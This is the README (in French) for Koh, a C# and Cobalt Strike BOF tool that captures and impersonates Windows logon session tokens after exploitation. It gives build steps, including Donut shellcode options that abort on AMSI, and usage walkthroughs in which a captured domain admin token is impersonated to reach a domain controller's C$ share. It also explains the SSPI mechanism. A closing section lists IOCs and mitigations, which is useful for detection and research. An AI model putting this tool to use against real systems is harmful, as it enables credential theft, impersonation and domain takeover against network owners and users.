
Capture les jetons de session d'ouverture de session Windows via une fuite de jetons pour permettre la réutilisation des identifiants et l'usurpation d'identité, avec une intégration Cobalt Strike BOF pour le vol de jetons post-exploitation.
Koh est un ensemble d'outils en C# et Beacon Object File (BOF) qui permet la capture de données d'identification utilisateur via une fuite intentionnelle de jetons/sessions d'ouverture de session.
Certains codes ont été inspirés par le projet Internal-Monologue (sans licence) d'Elad Shamir, ainsi que par KB180548. Pour comprendre pourquoi cela est possible et l'approche de Koh, voir la section Contexte technique de ce README.
Pour une explication plus approfondie de la motivation derrière Koh et de son approche, consultez l'article Koh: The Token Stealer.
@harmj0y est l'auteur principal de cette base de code. @tifkin_ a contribué à l'approche, à l'implémentation du BOF et à certaines mécaniques de jetons.
Koh est distribué sous licence BSD 3-Clause.
Le « serveur » Koh capture les jetons et utilise des pipes nommés pour le contrôle/la communication. Il peut être encapsulé dans Donut et injecté dans tout processus haute intégrité SYSTEM (voir Le bug Inline Shenanigans).
Nous ne prévoyons pas de publier les binaires de Koh, vous devrez donc le compiler vous-même :)
Koh a été développé pour .NET 4.7.2 et est compatible avec Visual Studio 2019 Community Edition. Ouvrez simplement le fichier .sln du projet, choisissez « Release » et compilez. L'assembly Koh.exe et le PIC Koh.bin construit avec Donut seront générés dans le répertoire principal. Le blob Donut est compatible x86/x64 et a été construit avec les options suivantes en utilisant la v0.9.3 de Donut à l'emplacement ./Misc/Donut.exe :```
[ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort
La licence de Donut est BSD 3-clause.
### Utilisation
`Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`
* **list** - liste les sessions de connexion (non-réseau)
* **monitor** - surveille les nouvelles sessions de connexion uniques (non-réseau)
* **capture** - capture un jeton unique par SID trouvé pour les nouvelles sessions de connexion (non-réseau)
Les SID de groupe peuvent également être fournis en ligne de commande, ce qui amène Koh à surveiller/capturer uniquement les sessions de connexion qui contiennent les SID de groupe spécifiés dans leurs informations de jeton négocié.
### Exemple - Liste des sessions de connexion```
C:\Temp>Koh.exe list
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: list
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
Liste uniquement les résultats qui contiennent le SID de groupe des administrateurs de domaine (-512) dans leurs informations de jeton :``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: monitor
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)
## Client Koh
Le client utilisable actuel est un fichier objet Beacon situé dans `.\Clients\BOF\`. Chargez le script d'agression `.\Clients\BOF\KohClient.cna` dans votre client Cobalt Strike pour activer le contrôle BOF du serveur Koh. La seule condition pour utiliser les jetons capturés est **SeImpersonatePrivilege**. Le tube nommé de communication possède une DACL "Everyone" mais utilise un mot de passe partagé basique (super sécurisé).
Pour compiler sur Linux avec Mingw, consultez le script `.\Clients\BOF\build.sh`. La seule dépendance (sur Debian au moins) devrait être `apt-get install gcc-mingw-w64`
### Utilisation```
beacon> help koh
koh list - lists captured tokens
koh groups LUID - lists the group SIDs for a captured token
koh filter list - lists the group SIDs used for capture filtering
koh filter add SID - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset - resets the SID group capture filter
koh impersonate LUID - impersonates the captured token with the give LUID
koh release all - releases all captured tokens
koh release LUID - releases the captured token for the specified LUID
koh exit - signals the Koh server to exit
La commande koh filter add S-1-5-21-<DOMAIN>-<RID> ne capturera que les jetons contenant le SID de groupe fourni. Cette commande peut être exécutée plusieurs fois pour ajouter des SID supplémentaires à capturer. Cela peut aider à prévenir d'éventuels problèmes de stabilité dus à un grand nombre de fuites de jetons.
"Capture" les sessions de connexion en négociant des jetons utilisables pour chaque nouvelle session.
Serveur :``` C:\Temp>Koh.exe capture
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: capture
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\testuser LUID : 207990196 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1119 Credential UserName : [email protected] Origin LUID : 1677733 (0x1999a5)
[*] Successfully negotiated a token for LUID 207990196 (hToken: 848)
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Credential UserName : [email protected] Origin LUID : 1677765 (0x1999c5)
[*] Successfully negotiated a token for LUID 81492692 (hToken: 976)
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Credential UserName : [email protected] Origin LUID : 999 (0x3e7)
[*] Successfully negotiated a token for LUID 1677733 (hToken: 980)
BOF client:```
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Access is denied.
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> koh list
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
Username : THESHIRE\localadmin (S-1-5-21-937929760-3187473010-80948926-1000)
LUID : 67556826
CaptureTime : 6/21/2022 1:24:42 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1676720
Username : THESHIRE\da (S-1-5-21-937929760-3187473010-80948926-1145)
LUID : 67568439
CaptureTime : 6/21/2022 1:24:50 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1677765
Username : THESHIRE\harmj0y (S-1-5-21-937929760-3187473010-80948926-1104)
LUID : 1677733
CaptureTime : 6/21/2022 1:23:10 PM
LogonType : Interactive
AuthPackage : Kerberos
CredUserName : [email protected]
Origin LUID : 999
beacon> koh groups 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
S-1-5-21-937929760-3187473010-80948926-513
S-1-5-21-937929760-3187473010-80948926-512
S-1-5-21-937929760-3187473010-80948926-525
S-1-5-21-937929760-3187473010-80948926-572
beacon> koh impersonate 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
[*] Enabled SeImpersonatePrivilege
[+] received output:
[*] Creating impersonation named pipe: \\.\pipe\imposingcost
[+] received output:
[*] Impersonation succeeded. Duplicating token.
[+] received output:
[*] Impersonated token successfully duplicated.
[+] Impersonated THESHIRE\da
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are THESHIRE\DA (admin)
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Volume in drive \\dc.theshire.local\C$ has no label.
Volume Serial Number is A4FF-7240
Directory of \\dc.theshire.local\C$
01/04/2021 11:43 AM <DIR> inetpub
05/30/2019 03:08 PM <DIR> PerfLogs
05/18/2022 01:27 PM <DIR> Program Files
04/15/2021 09:44 AM <DIR> Program Files (x86)
03/20/2020 12:28 PM <DIR> RBFG
10/20/2021 01:14 PM <DIR> Temp
05/23/2022 06:30 PM <DIR> tools
03/11/2022 04:10 PM <DIR> Users
06/21/2022 01:30 PM <DIR> Windows
0 File(s) 0 bytes
9 Dir(s) 40,504,201,216 bytes free
Lorsqu'une nouvelle session d'ouverture de session est établie sur un système, un nouveau jeton pour la session d'ouverture de session est créé par LSASS via l'appel API NtCreateToken() et retourné par l'appelant de LsaLogonUser(). Cela augmente le ReferenceCount de la structure noyau de la session d'ouverture de session. Lorsque ce ReferenceCount atteint 0, la session d'ouverture de session est détruite. En raison des informations décrites dans la section Pourquoi cela est possible, les systèmes Windows ne libèrent PAS une session d'ouverture de session si un handle de jeton existe toujours pour celle-ci (et donc le comptage de références != 0).
Donc, si nous pouvons obtenir un handle sur une session d'ouverture de session nouvellement créée via un jeton, nous pouvons maintenir cette session ouverte et plus tard usurper ce jeton pour utiliser les identifiants mis en cache qu'il contient.
Selon ce post d'un ingénieur Microsoft:``` After MS16-111, when security tokens are leaked, the logon sessions associated with those security tokens also remain on the system until all associated tokens are closed... even after the user has logged off the system. If the tokens associated with a given logon session are never released, then the system now also has a permanent logon session leak as well.
[MS16-111](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-111) a été appliqué rétroactivement à Windows 7/Server 2008, cette approche devrait donc être efficace pour tout sauf les systèmes Server 2003.
## Approche
Énumérer les sessions d'ouverture de session est facile (depuis un contexte élevé) grâce à l'API Win32 [LsaEnumerateLogonSessions()](https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions). Ce qui est plus difficile est de prendre un identifiant de session d'ouverture de session spécifique (LUID) et d'obtenir *d'une manière ou d'une autre* un jeton utilisable lié à cette session.
### Approches possibles
Nous avons réfléchi à quelques moyens pour a) maintenir ouvertes les sessions d'ouverture de session et b) abuser de cela pour l'usurpation de jeton/l'utilisation d'informations d'identification mises en cache.
1. La première approche consistait à utiliser **NtCreateToken()** qui permet de spécifier un ID de session d'ouverture de session (LUID) pour créer un nouveau jeton.
* Malheureusement, vous avez besoin du privilège **SeCreateTokenPrivilege** qui n'est traditionnellement détenu que par LSASS, ce qui signifie que vous devez voler le jeton de LSASS, ce qui n'est pas idéal.
* Une possibilité était d'ajouter **SeCreateTokenPrivilege** à NT AUTHORITY\SYSTEM via une modification de la stratégie LSA, mais cela nécessiterait un redémarrage/une nouvelle session d'ouverture de session pour exprimer les nouveaux droits utilisateur.
2. Vous pouvez également vous concentrer uniquement sur les sessions d'ouverture de session RemoteInteractive en utilisant **WTSQueryUserToken()** pour obtenir des jetons pour les nouvelles sessions de bureau à cloner.
* C'est l'approche apparemment [démontrée par Ryan](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/using-debugging-tools-to-find-token-and-session-leaks/ba-p/400472).
* Malheureusement, cela manque les nouvelles sessions locales et les sessions entrantes créées par des éléments comme PSEXEC.
3. Sur une nouvelle session d'ouverture de session, ouvrir un handle sur chaque processus accessible et énumérer tous les handles existants, en clonant le jeton lié à la nouvelle session d'ouverture de session.
* Cela nécessite d'ouvrir beaucoup de processus/handles, ce qui semble très suspect.
4. L'approche **AcquireCredentialsHandle()**/**InitializeSecurityContext()**/**AcceptSecurityContext()** décrite ci-dessous, que nous avons finalement adoptée.
### Notre approche
L'appel SSPI [AcquireCredentialsHandle()](https://docs.microsoft.com/en-us/windows/win32/secauthn/acquirecredentialshandle--negotiate) possède un champ **pvLogonID** qui indique :```
A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors.
Note : Pour utiliser un LUID de session d'ouverture de session avec AcquireCredentialsHandle(), vous avez besoin du privilège SeTcbPrivilege, qui est généralement plus facile à obtenir que SeCreateTokenPrivilege.
L'utilisation de cet appel en spécifiant un ID de session d'ouverture de session/LUID semble augmenter le ReferenceCount de la structure de session d'ouverture de session, empêchant sa libération. Cependant, un autre problème se pose : étant donné une session d'ouverture de session « fuite »/maintenue ouverte, comment obtenir un jeton utilisable à partir de celle-ci ? WTSQueryUserToken() ne fonctionne qu'avec les sessions de bureau, et il n'existe pas d'API en espace utilisateur que nous ayons trouvée permettant de mapper un LUID sur un jeton utilisable.
Toutefois, nous pouvons utiliser deux autres fonctions SSPI, InitializeSecurityContext() et AcceptSecurityContext() pour agir en tant que client et serveur envers nous-mêmes, négociant un nouveau contexte de sécurité que nous pouvons ensuite utiliser avec QuerySecurityContextToken() pour obtenir un jeton utilisable. Cela a été documenté dans KB180548 (mirroré par PKISolutions ici) à des fins de validation des identifiants. C'est une approche similaire à Internal-Monologue, sauf que nous effectuons l'intégralité du processus de handshake, produisons un jeton, puis le conservons pour une utilisation ultérieure.
Le filtrage peut ensuite être effectué sur le jeton lui-même, via CheckTokenMembership() ou GetTokenInformation(). Par exemple, nous pourrions libérer tous les jetons sauf ceux appartenant aux administrateurs de domaine, ou à des groupes spécifiques que nous souhaitons cibler.
Je code depuis un certain temps déjà. C'est l'un des bugs les plus étranges et frustrants à traquer que j'ai rencontrés depuis longtemps – aidez-moi s'il vous plaît lol.
Lorsque l'assembly Koh.exe est exécuté depuis un contexte élevé (mais non SYSTEM), tout fonctionne correctement.
Si l'assembly Koh.exe est exécuté via le processus fork&run de Cobalt Strike Beacon avec execute-assembly depuis un contexte élevé (mais non SYSTEM), tout fonctionne correctement.
Si l'assembly Koh.exe est exécuté inline (via InlineExecute-Assembly ou Inject-Assembly) pour un Cobalt Strike Beacon qui s'exécute dans un contexte SYSTEM, tout fonctionne correctement.
Cependant, si l'assembly Koh.exe est exécuté inline (via InlineExecute-Assembly ou Inject-Assembly) pour un Cobalt Strike Beacon qui s'exécute dans un contexte élevé, mais pas SYSTEM, l'appel à AcquireCredentialsHandle() échoue avec SEC_E_NO_CREDENTIALS et tout échoue ¯\_(ツ)_/¯
Nous avons essayé (sans succès) :
Pour toutes fins utiles, le contexte du thread juste avant l'appel à AcquireCredentialsHandle fonctionne dans ce contexte, mais le résultat génère une erreur. Et nous n'avons aucune idée de la raison.
Si vous avez une idée de ce que cela pourrait être, faites-nous savoir ! Et si vous voulez essayer de jouer avec un assembly plus simple, consultez le dépôt AcquireCredentialsHandle sur mon GitHub pour le dépannage.
Pour citer @tifkin_ « Tout est discret jusqu'à ce que quelqu'un le cherche. » Bien que l'approche de Koh soit légèrement différente des autres, il existe encore des IOCs qui peuvent être utilisés pour la détecter.
Le GUID TypeLib unique du collecteur C# Koh est 4d5350c8-7f8c-47cf-8cde-c752018af17e comme détaillé dans la règle Yara Koh.yar de ce dépôt. S'il n'est pas modifié lors de la compilation, ce devrait être un indicateur de très haute fiabilité du serveur Koh.
Lorsque le serveur Koh démarre, il ouvre un pipe nommé \\.\pipe\imposecost qui reste ouvert tant que Koh est en cours d'exécution. Le mot de passe par défaut utilisé pour la communication Koh est password, donc envoyer password list à n'importe quel pipe \\.\pipe\imposecost vous permettra de confirmer si Koh est effectivement en cours d'exécution. Le pipe d'emprunt d'identité par défaut utilisé est \\.pipe\imposingcost.
Si Koh démarre dans un contexte élevé mais pas en tant que SYSTEM, un handle/clone de jeton de winlogon est effectué pour réaliser une élévation de type getsystem.
Je suis sûr qu'aucun attaquant ne modifiera les indicateurs mentionnés ci-dessus.
Il existe probablement des artefacts RPC pour la capture de jetons que nous espérons étudier. Nous mettrons à jour cette section du README si nous trouvons des artefacts de détection supplémentaires dans cette lignée. Le hooking de certaines des API peut-être peu courantes utilisées par Koh (LsaEnumerateLogonSessions ou les appels spécifiques AcquireCredentialsHandle/InitializeSecurityContext/AcceptSecurityContext, notamment en utilisant un LUID dans AcquireCredentialsHandle) pourrait être exploré pour son efficacité, mais hélas, je ne suis pas un EDR.
Après avoir publié l'article Koh: The Token Stealer, j'ai eu un excellent échange entre @cnotin et @SteveSyfuhs sur ce qui s'est avéré être une mitigation partielle pour cette approche.
Le correctif KB2871997 a introduit un paramètre TokenLeakDetectDelaySecs, qui déclenche le « …effacement de tous les identifiants des utilisateurs déconnectés… ». Par défaut, les membres du « Protected Users Security Group » voient ce comportement appliqué indépendamment du paramètre de registre. Cependant, définir cette valeur sur une valeur non nulle effacera TOUS les identifiants de la mémoire lorsqu'un utilisateur se déconnecte. Plus précisément, comme le mentionne Steve : S'il est défini, il démarrera un minuteur sur l'événement de déconnexion *interactive* d'une session, et à son expiration, il purgera tout ce qui y est encore attaché. Désactivé par défaut. Protected Users toujours activé, avec un délai par défaut de 30 s.
Il y a deux choses importantes à noter dans le paragraphe ci-dessus : « événement de déconnexion » et « interactif ». Cela peut entraîner des situations où l'identifiant d'un utilisateur n'est PAS effacé :
runas ou runas /netonly ou quelque chose de similaire, il n'y a pas d'événement de déconnexion lorsque le processus s'arrête et l'identifiant/le jeton peut toujours être capturé.(Je dois tester d'autres situations d'ouverture de session comme NetworkClearText.)
Cependant, si l'utilisateur fait partie du « Protected Users Security Group » ou si TokenLeakDetectDelaySecs est non nul, et que l'utilisateur se déconnecte activement d'une session interactive ou interactive à distance (RDP), les identifiants seront effacés. Je dois programmer Koh pour mieux gérer ces types de situations spécifiques.
TL;DR vous devriez vraiment utiliser le « Protected Users Security Group » pour les utilisateurs sensibles, et voir si définir TokenLeakDetectDelaySecs sur une valeur comme 30 est réalisable dans votre environnement.